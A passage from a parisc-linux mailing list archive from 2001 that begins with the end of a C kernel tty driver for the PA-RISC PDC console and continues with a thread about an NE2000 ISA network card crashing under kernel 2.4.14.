#define LOCAL_VERSTRING ""
#endif

#include <linux/errno.h>
#include <linux/signal.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/interrupt.h>
#include <linux/tty.h>
#include <linux/tty_flip.h>
#include <linux/major.h>
#include <linux/string.h>
#include <linux/fcntl.h>
#include <linux/ptrace.h>
#include <linux/ioport.h>
#include <linux/mm.h>
#include <linux/slab.h>
#if (LINUX_VERSION_CODE >= 131343)
#include <linux/init.h>
#endif
#if (LINUX_VERSION_CODE >= 131336)
#include <asm/uaccess.h>
#endif
#include <linux/delay.h>

/*
 * All of the compatibilty code so we can compile serial.c against
 * older kernels is hidden in serial_compat.h
 */
#if defined(LOCAL_HEADERS) || (LINUX_VERSION_CODE < 0x020317) /* 2.3.23 */
#include "serial_compat.h"
#endif

#include <asm/system.h>
#include <asm/io.h>
#include <asm/irq.h>
#include <asm/bitops.h>

#ifdef CONFIG_GSC
#include <asm/gsc.h>
#endif

extern int pdc_console_poll_key(void *);
extern void pdc_outc(unsigned char);

#ifdef SERIAL_INLINE
#define _INLINE_ inline
#else
#define _INLINE_
#endif

static char *pdc_drv_name = "PDC driver";

static struct tty_driver pdc_drv_driver;
static int pdc_drv_refcount = 0;
static struct async_struct * pdc_drv_info;

static struct timer_list pdc_drv_timer;

/* serial subtype definitions */
#ifndef SERIAL_TYPE_NORMAL
#define SERIAL_TYPE_NORMAL	1
#define SERIAL_TYPE_CALLOUT	2
#endif

#define NR_PORTS 1
#define PDC_DUMMY_BUF 2048

static struct tty_struct *pdc_drv_table[NR_PORTS];
static struct termios *pdc_drv_termios[NR_PORTS];
static struct termios *pdc_drv_termios_locked[NR_PORTS];

/*
 * tmp_buf is used as a temporary buffer by serial_write.  We need to
 * lock it in case the copy_from_user blocks while swapping in a page,
 * and some other program tries to do a serial write at the same time.
 * Since the lock will only come under contention when the system is
 * swapping and available memory is low, it makes sense to share one
 * buffer across all the serial ports, since it significantly saves
 * memory if large numbers of serial ports are open.
 */
static unsigned char *tmp_buf;
#ifdef DECLARE_MUTEX
static DECLARE_MUTEX(tmp_buf_sem);
#else
static struct semaphore tmp_buf_sem = MUTEX;
#endif


/*
 * ------------------------------------------------------------
 * pdc_stop() and pdc_start()
 *
 * This routines are called before setting or resetting tty->stopped.
 * They enable or disable transmitter interrupts, as necessary.
 * ------------------------------------------------------------
 */
static void pdc_stop(struct tty_struct *tty)
{
}

static void pdc_start(struct tty_struct *tty)
{
}

/*
 * ----------------------------------------------------------------------
 *
 * Here starts the interrupt handling routines.  All of the following
 * subroutines are declared as inline and are folded into
 * rs_interrupt().  They were separated out for readability's sake.
 *
 * Note: rs_interrupt() is a "fast" interrupt, which means that it
 * runs with interrupts turned off.  People who may want to modify
 * rs_interrupt() should try to keep the interrupt handler as fast as
 * possible.  After you are done making modifications, it is not a bad
 * idea to do:
 * 
 * gcc -S -DKERNEL -Wall -Wstrict-prototypes -O6 -fomit-frame-pointer serial.c
 *
 * and look at the resulting assemble code in serial.s.
 *
 * 				- Ted Ts'o (tytso@mit.edu), 7-Mar-93
 * -----------------------------------------------------------------------
 */

static _INLINE_ void receive_chars(struct async_struct *info,
				 int *status, struct pt_regs * regs)
{
	struct tty_struct *tty = info->tty;
	unsigned char ch;
	int __ch;

	while (1) {
		__ch = pdc_console_poll_key (NULL);

		if (__ch == -1)   /* no character available */
		    break;

		ch = (unsigned char)((unsigned)__ch & 0x000000ffu);
		
		if (tty->flip.count >= TTY_FLIPBUF_SIZE)
			continue;

		*tty->flip.char_buf_ptr = ch;
		*tty->flip.flag_buf_ptr = 0;

		tty->flip.flag_buf_ptr++;
		tty->flip.char_buf_ptr++;
		tty->flip.count++;
	}

#if (LINUX_VERSION_CODE > 131394) /* 2.1.66 */
	tty_flip_buffer_push(tty);
#else
	queue_task_irq_off(&tty->flip.tqueue, &tq_timer);
#endif	
}

static void pdc_drv_poll (unsigned long dummy)
{
    struct async_struct * info;
    int status = 0;

    info = pdc_drv_info;
    
    if (!info || !info->tty || (pdc_drv_refcount == 0)) 
    {
	/* do nothing */
    }
    else
    {
	receive_chars(info, &status, NULL);
	info->last_active = jiffies;
    }

    mod_timer (& pdc_drv_timer, jiffies + PDC_POLL_DELAY);
}


static void pdc_put_char(struct tty_struct *tty, unsigned char ch)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	
	pdc_outc (ch);
}

static void pdc_flush_chars(struct tty_struct *tty)
{
	/* PCD console always flushed all characters */

#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	

	/* nothing to do */
}

static int pdc_write(struct tty_struct * tty, int from_user,
		    const unsigned char *buf, int count)
{
	char pdc_tmp_buf [PDC_DUMMY_BUF];
	char * pdc_tmp_buf_ptr;
	int len;
	int ret = 0;
				
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: entry\n");
#endif	
	while (count) {
		if (count < PDC_DUMMY_BUF)
			len = count;
		else 
			len = PDC_DUMMY_BUF;
		
		if (from_user) {
			copy_from_user (pdc_tmp_buf, buf, len);
			pdc_tmp_buf_ptr = pdc_tmp_buf;
		}
		else
			pdc_tmp_buf_ptr = (char *) buf;
		
		while (len) {
			pdc_outc (*pdc_tmp_buf_ptr);
			buf++;
			pdc_tmp_buf_ptr++;
			ret++;
			count--;
			len--;
		}
	}
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	
	return ret;
}

static int pdc_write_room(struct tty_struct *tty)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: entry\n");
#endif	
	return PDC_DUMMY_BUF;
}

static int pdc_chars_in_buffer(struct tty_struct *tty)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: entry\n");
#endif	
	return 0; /* no characters in buffer, always flushed ! */
}

static void pdc_flush_buffer(struct tty_struct *tty)
{
#ifdef PDC_DRV_DEBUG
	printk (KERN_NOTICE "%s: %s: return\n");
#endif	
}

/*
 * This function is used to send a high-priority XON/XOFF character to
 * the device
 */
static void pdc_send_xchar(struct tty_struct *tty, char ch)
{
}

/*
 * ------------------------------------------------------------
 * pdc_throttle()
 * 
 * This routine is called by the upper-layer tty layer to signal that
 * incoming characters should be throttled.
 * ------------------------------------------------------------
 */
static void pdc_throttle(struct tty_struct * tty)
{
}

static void pdc_unthrottle(struct tty_struct * tty)
{
}

/*
 * ------------------------------------------------------------
 * pdc_ioctl() and friends
 * ------------------------------------------------------------
 */

static void pdc_break(struct tty_struct *tty, int break_state)
{
}


static int pdc_ioctl(struct tty_struct *tty, struct file * file,
		    unsigned int cmd, unsigned long arg)
{
	struct async_struct *info = (struct async_struct *)tty->driver_data;
	
	if ((cmd != TIOCGSERIAL) && (cmd != TIOCSSERIAL) &&
	    (cmd != TIOCSERCONFIG) && (cmd != TIOCSERGSTRUCT) &&
	    (cmd != TIOCMIWAIT) && (cmd != TIOCGICOUNT)) {
		if (tty->flags & (1 << TTY_IO_ERROR))
		    return -EIO;
	}
	
	switch (cmd) {
		case TIOCMGET:
			return 0;
		case TIOCMBIS:
		case TIOCMBIC:
		case TIOCMSET:
			return 0;
		case TIOCGSERIAL:
			return 0;
		case TIOCSSERIAL:
			return 0;
		case TIOCSERCONFIG:
			return 0;

		case TIOCSERGETLSR: /* Get line status register */
			return 0;

		case TIOCSERGSTRUCT:
			if (copy_to_user((struct async_struct *) arg,
					 info, sizeof(struct async_struct)))
				return -EFAULT;
			return 0;
				
		case TIOCMIWAIT:
			return 0;

		case TIOCGICOUNT:
			return 0;
		case TIOCSERGWILD:
		case TIOCSERSWILD:
			/* "setserial -W" is called in Debian boot */
			printk ("TIOCSER?WILD ioctl obsolete, ignored.\n");
			return 0;

		default:
			return -ENOIOCTLCMD;
		}
	return 0;
}

static void pdc_set_termios(struct tty_struct *tty, struct termios *old_termios)
{
	
#if 0	/* XXX CP, has to be checked, if there is stuff to do */
	struct async_struct *info = (struct async_struct *)tty->driver_data;
	unsigned long flags;
	unsigned int cflag = tty->termios->c_cflag;

	if (   (cflag == old_termios->c_cflag)
	    && (   RELEVANT_IFLAG(tty->termios->c_iflag) 
		== RELEVANT_IFLAG(old_termios->c_iflag)))
	  return;
#if 0
	change_speed(info, old_termios);
#endif
	/* Handle turning off CRTSCTS */
	if ((old_termios->c_cflag & CRTSCTS) &&
	    !(tty->termios->c_cflag & CRTSCTS)) {
		tty->hw_stopped = 0;
		pdc_start(tty);
	}
#endif
}

/*
 * ------------------------------------------------------------
 * pdc_close()
 * 
 * This routine is called when the serial port gets closed.  First, we
 * wait for the last remaining data to be sent.  Then, we unlink its
 * async structure from the interrupt chain if necessary, and we free
 * that IRQ if nothing is left in the chain.
 * ------------------------------------------------------------
 */
static void pdc_close(struct tty_struct *tty, struct file * filp)
{
	struct async_struct * info = (struct async_struct *)tty->driver_data;

#ifdef PDC_DEBUG_OPEN
	printk("pdc_close ttyB%d, count = %d\n", info->line, state->count);
#endif
	pdc_drv_refcount--;
	if (pdc_drv_refcount > 0)
	    return;
	
	info->flags |= ASYNC_CLOSING;

	/*
	 * Save the termios structure, since this port may have
	 * separate termios for callout and dialin.
	 */
	if (info->flags & ASYNC_NORMAL_ACTIVE)
		info->state->normal_termios = *tty->termios;
	if (info->flags & ASYNC_CALLOUT_ACTIVE)
		info->state->callout_termios = *tty->termios;

	/*
	 * At this point we stop accepting input.  To do this, we
	 * disable the receive line status interrupts, and tell the
	 * interrupt driver to stop checking the data ready bit in the
	 * line status register.
	 */

	/* XXX CP: make mask for receive !!! */

	if (tty->driver.flush_buffer)
		tty->driver.flush_buffer(tty);
	if (tty->ldisc.flush_buffer)
		tty->ldisc.flush_buffer(tty);
	tty->closing = 0;
	info->event = 0;
	info->tty = 0;
	pdc_drv_info = NULL;
	if (info->blocked_open) {
		if (info->close_delay) {
			set_current_state(TASK_INTERRUPTIBLE);
			schedule_timeout(info->close_delay);
		}
		wake_up_interruptible(&info->open_wait);
	}
	info->flags &= ~(ASYNC_NORMAL_ACTIVE|ASYNC_CALLOUT_ACTIVE|
			 ASYNC_CLOSING);
	wake_up_interruptible(&info->close_wait);
	MOD_DEC_USE_COUNT;
}

/*
 * pdc_wait_until_sent() --- wait until the transmitter is empty
 */
static void pdc_wait_until_sent(struct tty_struct *tty, int timeout)
{
	/* we always send immideate */
}

/*
 * pdc_hangup() --- called by tty_hangup() when a hangup is signaled.
 */
static void pdc_hangup(struct tty_struct *tty)
{
}

/*
 * ------------------------------------------------------------
 * pdc_open() and friends
 * ------------------------------------------------------------
 */

static int get_async_struct(int line, struct async_struct **ret_info)
{
	struct async_struct *info;
	
	info = kmalloc(sizeof(struct async_struct), GFP_KERNEL);
	if (!info) {
		return -ENOMEM;
	}
	memset(info, 0, sizeof(struct async_struct));
	init_waitqueue_head(&info->open_wait);
	init_waitqueue_head(&info->close_wait);
	init_waitqueue_head(&info->delta_msr_wait);
	info->magic = SERIAL_MAGIC;
	info->port = 0;
	info->flags = 0;
	info->io_type = 0;
	info->iomem_base = 0;
	info->iomem_reg_shift = 0;
	info->xmit_fifo_size = PDC_DUMMY_BUF;
	info->line = line;
	info->tqueue.routine = NULL;
	info->tqueue.data = info;
	info->state = NULL;
	*ret_info = info;
	return 0;
}

/*
 * This routine is called whenever a serial port is opened.  It
 * enables interrupts for a serial port, linking in its async structure into
 * the IRQ chain.   It also performs the serial-specific
 * initialization for the tty structure.
 */
static int pdc_open(struct tty_struct *tty, struct file * filp)
{
	struct async_struct	*info;
	int 			retval, line;
	unsigned long		page;
	
	MOD_INC_USE_COUNT;
	line = MINOR(tty->device) - tty->driver.minor_start;
	if ((line < 0) || (line >= NR_PORTS)) {
		MOD_DEC_USE_COUNT;
		return -ENODEV;
	}
	retval = get_async_struct(line, &info);
	if (retval) {
		MOD_DEC_USE_COUNT;
		return retval;
	}
	tty->driver_data = info;
	info->tty = tty;
	pdc_drv_info = info;
	
#ifdef PDC_DEBUG_OPEN
	printk("pdc_open %s%d, count = %d\n", tty->driver.name, info->line,
	       info->state->count);
#endif
#if (LINUX_VERSION_CODE > 0x20100)
	info->tty->low_latency = 0;
#endif

	if (!tmp_buf) {
		page = get_zeroed_page(GFP_KERNEL);
		if (!page) {
			MOD_DEC_USE_COUNT;
			return -ENOMEM;
		}
		if (tmp_buf)
			free_page(page);
		else
			tmp_buf = (unsigned char *) page;
	}

	info->session = current->session;
	info->pgrp = current->pgrp;

#ifdef PDC_DEBUG_OPEN
	printk("pdc_open ttyB%d successful...", info->line);
#endif
	pdc_drv_refcount++;
	return 0;
}

/*
 * ---------------------------------------------------------------------
 * pdc_init() and friends
 *
 * pdc_init() is called at boot-time to initialize the pdc driver.
 * ---------------------------------------------------------------------
 */

static _INLINE_ void show_pdc_drv_version(void)
{
 	printk(KERN_INFO "%s version %s%s (%s), %s\n", pdc_drv_name,
	       pdc_drv_version, LOCAL_VERSTRING, pdc_drv_revdate,
	       AUTHOR);
}

/*
 * The serial driver boot-time initialization code!
 */
static int __init pdc_drv_init(void)
{
	init_timer(&pdc_drv_timer);
	pdc_drv_timer.function = pdc_drv_poll;
	mod_timer(&pdc_drv_timer, jiffies + PDC_POLL_DELAY);

	show_pdc_drv_version();

	/* Initialize the tty_driver structure */
	
	memset(&pdc_drv_driver, 0, sizeof(struct tty_driver));
	pdc_drv_driver.magic = TTY_DRIVER_MAGIC;
#if (LINUX_VERSION_CODE > 0x20100)
	pdc_drv_driver.driver_name = "pdc_drv";
#endif
#if (LINUX_VERSION_CODE > 0x2032D && defined(CONFIG_DEVFS_FS))
	pdc_drv_driver.name = "ttb/%d";
#else
	pdc_drv_driver.name = "ttyB";
#endif
	pdc_drv_driver.major = PDCCONS_MAJOR;
	pdc_drv_driver.minor_start = 0;
	pdc_drv_driver.num = NR_PORTS;
	pdc_drv_driver.type = TTY_DRIVER_TYPE_SERIAL;
	pdc_drv_driver.subtype = SERIAL_TYPE_NORMAL;
	pdc_drv_driver.init_termios = tty_std_termios;
	pdc_drv_driver.init_termios.c_cflag =
		B9600 | CS8 | CREAD | HUPCL | CLOCAL;
	pdc_drv_driver.flags = TTY_DRIVER_REAL_RAW | TTY_DRIVER_NO_DEVFS;
	pdc_drv_driver.refcount = &pdc_drv_refcount;
	pdc_drv_driver.table = pdc_drv_table;
	pdc_drv_driver.termios = pdc_drv_termios;
	pdc_drv_driver.termios_locked = pdc_drv_termios_locked;

	pdc_drv_driver.open = pdc_open;
	pdc_drv_driver.close = pdc_close;
	pdc_drv_driver.write = pdc_write;
	pdc_drv_driver.put_char = pdc_put_char;
	pdc_drv_driver.flush_chars = pdc_flush_chars;
	pdc_drv_driver.write_room = pdc_write_room;
	pdc_drv_driver.chars_in_buffer = pdc_chars_in_buffer;
	pdc_drv_driver.flush_buffer = pdc_flush_buffer;
	pdc_drv_driver.ioctl = pdc_ioctl;
	pdc_drv_driver.throttle = pdc_throttle;
	pdc_drv_driver.unthrottle = pdc_unthrottle;
	pdc_drv_driver.set_termios = pdc_set_termios;
	pdc_drv_driver.stop = pdc_stop;
	pdc_drv_driver.start = pdc_start;
	pdc_drv_driver.hangup = pdc_hangup;
#if (LINUX_VERSION_CODE >= 131394) /* Linux 2.1.66 */
	pdc_drv_driver.break_ctl = pdc_break;
#endif
#if (LINUX_VERSION_CODE >= 131343)
	pdc_drv_driver.send_xchar = pdc_send_xchar;
	pdc_drv_driver.wait_until_sent = pdc_wait_until_sent;
	pdc_drv_driver.read_proc = NULL;
#endif
	
	if (tty_register_driver(&pdc_drv_driver))
		panic("Couldn't register pdc_drv driver\n");
	
	return 0;
}

static void __exit pdc_fini(void) 
{
	int e1;

	if ((e1 = tty_unregister_driver(&pdc_drv_driver)))
		printk("pdc_drv: failed to unregister pdc_drv driver (%d)\n",
		       e1);
}


module_init(pdc_drv_init);
module_exit(pdc_fini);
MODULE_DESCRIPTION("PDC driver");
MODULE_AUTHOR(AUTHOR);


--------------F2284F98E058B5E182FDCE75--





From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
Date: Tue, 20 Nov 2001 11:57:31 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB1921627EE@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620787 30629 80.91.229.3 (22 Nov 2014 01:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:27 +0000 (UTC)
Cc: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: 'Helge Deller' <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 09:57:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx1.corp.harris.com (mlbmx1.corp.harris.com [137.237.90.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 821D5482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 09:57:58 -0700 (MST)
Original-Received: by mlbmx1.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <XDGBSSD5>; Tue, 20 Nov 2001 11:57:38 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13158

Well, you=B4ve got a 64Bit-Kernel and i run a 32bit Kernel on my =
715/75.

I just tested with 2.4.4-pa7 and got the same effect...

greetings
Wolfgang

> -----Original Message-----
> From:	Helge Deller [SMTP:deller@gmx.de]
> Sent:	Monday, November 19, 2001 7:52 PM
> To:	Pedot, Wolfgang; 'Parisc Linux Mailinglist'
> Subject:	Re: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
>=20
> Hi Wolfgang,
>=20
> I've no problems here with my ISA NE2000 and kernel 2.4.14-pa7:
>=20
> NE*000 ethercard probe at 0x340: 08 00 00 50 11 13
> eth0: NE2000 found at 0x340, using IRQ 10.
>=20
> pa64:~# uname -a
> Linux pa64 2.4.14-pa7 #2 Mon Nov 19 19:43:37 CET 2001 parisc unknown
>=20
> pa64:~# cat /proc/interrupts
>  IRQ      count         Region    ISR
>  10:       2346            EISA  NE2000
>=20
> Sadly I've no idea why it doesn't work for you...
>=20
> Greetings,
> Helge
>=20
> On Monday 19 November 2001 15:16, Pedot, Wolfgang wrote:
> > Hi,
> >
> > I just tried to update to 2.4.14-pa6 and noticed a stackdump during
> > initialisation of my old NE2000 ISA-Nic which works fine using the =
last
> > 2.4.9 Kernel. After this stackdump i booted (reset used) 2.4.9 =
again and
> > the machine hung without any message druring initialistaion of the =
NE2000
> > (right after "NE*000 ethercard probe at 0x300:"). I had to =
power-cycle the
> > machine to make it work again.
> >
> > Heres the log-message:
> >
> > Last modified Nov 1, 2000 by Paul Gortmaker
> > NE*000 ethercard probe at 0x300:WARNING! Stack pointer and cr30 do =
not
> > correspond!
> >
> > Bad Address (null pointer deref?): Code=3D6 regs=3D100fe380 =
(Addr=3D50412d43)
> >
> > any hints?
> > Are there any guys arround here which made their ne2000 work with =
2.4.14?
> > greetings
> >
> > Wolfgang Pedot
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
Date: Tue, 20 Nov 2001 18:10:41 +0100
Organization: SAP LinuxLab
Lines: 69
Approved: news@gmane.org
Message-ID: <E166EPy-0004Bn-00@linuxlab.wdf.sap-ag.de>
References: <8D4C69676E66D511A1CB00508BBBB1921627EE@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620787 30632 80.91.229.3 (22 Nov 2014 01:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:27 +0000 (UTC)
Cc: "'Parisc Linux Mailinglist'" <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 10:10:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D8FE482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 10:10:45 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id SAA15842;
  Tue, 20 Nov 2001 18:13:48 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <8D4C69676E66D511A1CB00508BBBB1921627EE@ranmx1.ran.harris.com>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13159

Hi Wolfgang,

No, the 715/64 has a PA7100LC processor and thus is 32bit only machine.
I'm running a 32bit kernel too, but maybe 715/old (as yours) and 715/new
machines (as mine) work different. IIRC the 715/old has an ASP and the
715/new have a LASI chip. Maybe you could send me your whole dmsg
and I'll take a look again.

Greetings,
Helge

On Tuesday 20 November 2001 17:57, Pedot, Wolfgang wrote:
> Well, youve got a 64Bit-Kernel and i run a 32bit Kernel on my 715/75.
>
> I just tested with 2.4.4-pa7 and got the same effect...
>
> greetings
> Wolfgang
>
> > -----Original Message-----
> > From:	Helge Deller [SMTP:deller@gmx.de]
> > Sent:	Monday, November 19, 2001 7:52 PM
> > To:	Pedot, Wolfgang; 'Parisc Linux Mailinglist'
> > Subject:	Re: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
> >
> > Hi Wolfgang,
> >
> > I've no problems here with my ISA NE2000 and kernel 2.4.14-pa7:
> >
> > NE*000 ethercard probe at 0x340: 08 00 00 50 11 13
> > eth0: NE2000 found at 0x340, using IRQ 10.
> >
> > pa64:~# uname -a
> > Linux pa64 2.4.14-pa7 #2 Mon Nov 19 19:43:37 CET 2001 parisc unknown
> >
> > pa64:~# cat /proc/interrupts
> >  IRQ      count         Region    ISR
> >  10:       2346            EISA  NE2000
> >
> > Sadly I've no idea why it doesn't work for you...
> >
> > Greetings,
> > Helge
> >
> > On Monday 19 November 2001 15:16, Pedot, Wolfgang wrote:
> > > Hi,
> > >
> > > I just tried to update to 2.4.14-pa6 and noticed a stackdump during
> > > initialisation of my old NE2000 ISA-Nic which works fine using the last
> > > 2.4.9 Kernel. After this stackdump i booted (reset used) 2.4.9 again
> > > and the machine hung without any message druring initialistaion of the
> > > NE2000 (right after "NE*000 ethercard probe at 0x300:"). I had to
> > > power-cycle the machine to make it work again.
> > >
> > > Heres the log-message:
> > >
> > > Last modified Nov 1, 2000 by Paul Gortmaker
> > > NE*000 ethercard probe at 0x300:WARNING! Stack pointer and cr30 do not
> > > correspond!
> > >
> > > Bad Address (null pointer deref?): Code=6 regs=100fe380 (Addr=50412d43)
> > >
> > > any hints?
> > > Are there any guys arround here which made their ne2000 work with
> > > 2.4.14? greetings
> > >
> > > Wolfgang Pedot



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.14 and ISA-NE2000 StackDump
Date: Tue, 20 Nov 2001 17:16:04 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20011120171604.F652@parcelfarce.linux.theplanet.co.uk>
References: <8D4C69676E66D511A1CB00508BBBB1921627EE@ranmx1.ran.harris.com> <E166EPy-0004Bn-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620788 30634 80.91.229.3 (22 Nov 2014 01:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:28 +0000 (UTC)
Cc: "Pedot, Wolfgang" <wpedot@harris.com>,
	'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov 20 10:16:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2ED89482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Nov 2001 10:16:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 166EVA-0000mc-00; Tue, 20 Nov 2001 17:16:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E166EPy-0004Bn-00@linuxlab.wdf.sap-ag.de>; from helge.deller@sap.com on Tue, Nov 20, 2001 at 06:10:41PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13160

On Tue, Nov 20, 2001 at 06:10:41PM +0100, Helge Deller wrote:
> Hi Wolfgang,
> 
> No, the 715/64 has a PA7100LC processor and thus is 32bit only machine.
> I'm running a 32bit kernel too, but maybe 715/old (as yours) and 715/new
> machines (as mine) work different. IIRC the 715/old has an ASP and the
> 715/new have a LASI chip. Maybe you could send me your whole dmsg
> and I'll take a look again.

Not only that, the EISA adapter in the 715/new is Wax and that in 715/old
is Mongoose (maybe Outfield, but I think that was in 735/755).

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] make palo error?
Date: Tue, 20 Nov 2001 16:42:51 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20011120214251.GA5953@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620788 30635 80.91.229.3 (22 Nov 2014 01:46:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:28 +0000 (UTC)
